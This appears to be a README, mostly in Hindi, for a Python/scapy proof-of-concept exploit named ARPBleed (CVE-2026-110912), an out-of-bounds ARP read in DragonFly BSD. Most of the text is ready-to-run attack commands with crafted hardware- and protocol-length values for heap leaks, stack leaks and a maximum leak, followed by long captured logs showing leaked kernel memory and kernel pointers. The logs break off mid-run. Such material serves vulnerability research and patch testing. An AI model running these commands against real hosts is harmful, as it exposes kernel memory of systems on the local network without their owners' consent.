
Python/scapy प्रूफ-ऑफ-कॉन्सेप्ट CVE-2026-110912 (ARPBleed) के लिए, जो DragonFly BSD में एक ARP ar_hln/ar_pln आउट-ऑफ-बाउंड्स रीड है जो कर्नेल हीप और स्टैक मेमोरी लीक करता है।
ARPBleed 🩸
ARP Packet Handling Vulnerability | DragonFly BSD | Security Research
ARPBleed रिपोर्ट की गई भेद्यता CVE-2026-110912 से जुड़ा नाम है, जिसमें DragonFly BSD में Address Resolution Protocol (ARP) पैकेट लंबाई फ़ील्ड के अनुचित प्रबंधन को शामिल किया गया है।
प्रारंभिक भेद्यता विवरण के अनुसार, विकृत ARP पैकेट एक out-of-bounds मेमोरी रीड को ट्रिगर कर सकते हैं, जो संभवतः नेटवर्क प्रतिक्रियाओं के माध्यम से कर्नेल मेमोरी के कुछ हिस्सों को उजागर कर सकते हैं।
महत्वपूर्ण: यहाँ प्रस्तुत भेद्यता विवरण प्रारंभिक हैं और पुष्टि माने जाने से पहले आधिकारिक CVE रिकॉर्ड और आधिकारिक विक्रेता सलाह के विरुद्ध सत्यापन की आवश्यकता है।
| विशेषता | विवरण |
|---|---|
| CVE ID | CVE-2026-110912 |
| भेद्यता का नाम | ARPBleed |
| रिपोर्ट किया गया उत्पाद | DragonFly BSD |
| भेद्यता का प्रकार | Out-of-bounds read |
| संबंधित CWE | CWE-130 — Improper Handling of Length Parameter Inconsistency |
| रिपोर्ट किया गया हमला वेक्टर | Adjacent network |
| प्रमाणीकरण आवश्यक | रिपोर्ट के अनुसार कोई नहीं |
| संभावित प्रभाव | Kernel memory disclosure |
| रिपोर्ट किया गया CVSS स्कोर | 7.1 — Unverified |
| रिपोर्ट किए गए प्रभावित संस्करण | Through 6.4.2 — Unverified |
| उपचार | आधिकारिक विक्रेता पैच सत्यापित करें |
Address Resolution Protocol (ARP) का उपयोग IPv4 नेटवर्क में IP पतों को हार्डवेयर पतों, आमतौर पर MAC पतों में हल करने के लिए किया जाता है।
जब किसी होस्ट को स्थानीय नेटवर्क पर किसी अन्य डिवाइस के साथ संचार करने की आवश्यकता होती है, तो वह ARP अनुरोध प्रसारित कर सकता है। संबंधित IP पता वाला डिवाइस अपने हार्डवेयर पते वाली ARP प्रतिक्रिया के साथ उत्तर दे सकता है।
CVE-2026-110912-ARPBleed.py - single file, needs python3 + scapy and root (raw socket).
sudo python3 CVE-2026-110912-ARPBleed.py <victim-ip> [<iface>] [--hln N] [--pln N]
# heap leak (ar_sha carries ar_hln-6 bytes past the MAC)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 200 --pln 4
# stack leak (ar_spa carries ar_pln-4 bytes past &taddr)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 200
# sanity: a legal ARP, expect a clean reply and no leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 4
# maximum single-packet leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 255 --pln 255
लीक हुए ar_sha क्षेत्र के पहले 6 बाइट्स पीड़ित का असली MAC हैं और ar_spa के पहले 4 बाइट्स पीड़ित का IP हैं - उसके बाद सब कुछ out-of-bounds kernel memory है। कैप्चर किए गए लीक पर exit code 0, जब कोई जवाब नहीं आता तो 2 (एक fixed kernel का व्यवहार)।
पीड़ित: DragonFly 6.4.2-RELEASE (stock install, QEMU virtio-net), 10.170.0.10। हमलावर: Kali, scapy 2.7.01, 10.170.0.2, समान L2 segment।
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=4 arp_body=28 frame=42
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 42 bytes (reply ar_hln=6 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
0000: 52 54 00 df 04 94 |RT....|
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] legal ARP answered normally - no leak bytes (sanity)
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=200 ar_pln=4 arp_body=416 frame=430
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 430 bytes (reply ar_hln=200 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 194 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (200 bytes; bytes [6..199] are the OOB leak) ----
0000: 52 54 00 df 04 94 00 00 00 00 00 00 00 00 00 00 |RT..............|
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0020: 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 |................|
0030: 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 |................|
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0060: 00 00 10 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |....*F..........|
0070: 00 00 48 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |..H.*F..........|
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00c0: 00 00 00 00 00 00 00 00 |........|
-- kernel pointers in heap leak: 7 --
heap + 38 (abs 44): 0xffff000000000000
heap + 39 (abs 45): 0xffffff0000000000
heap + 40 (abs 46): 0xffffffff00000000
heap + 41 (abs 47): 0xffffffffff000000
heap + 42 (abs 48): 0xffffffffffff0000
heap + 92 (abs 98): 0xfffff800462a1210
heap +108 (abs 114): 0xfffff800462a1248
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] arpbleed REPRODUCED (remote): 194 heap OOB bytes + 0 stack OOB bytes; kernel pointers: 7 heap / 0 stack
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=200 arp_body=420 frame=434
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 434 bytes (reply ar_hln=6 ar_pln=200)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
0000: 52 54 00 df 04 94 |RT....|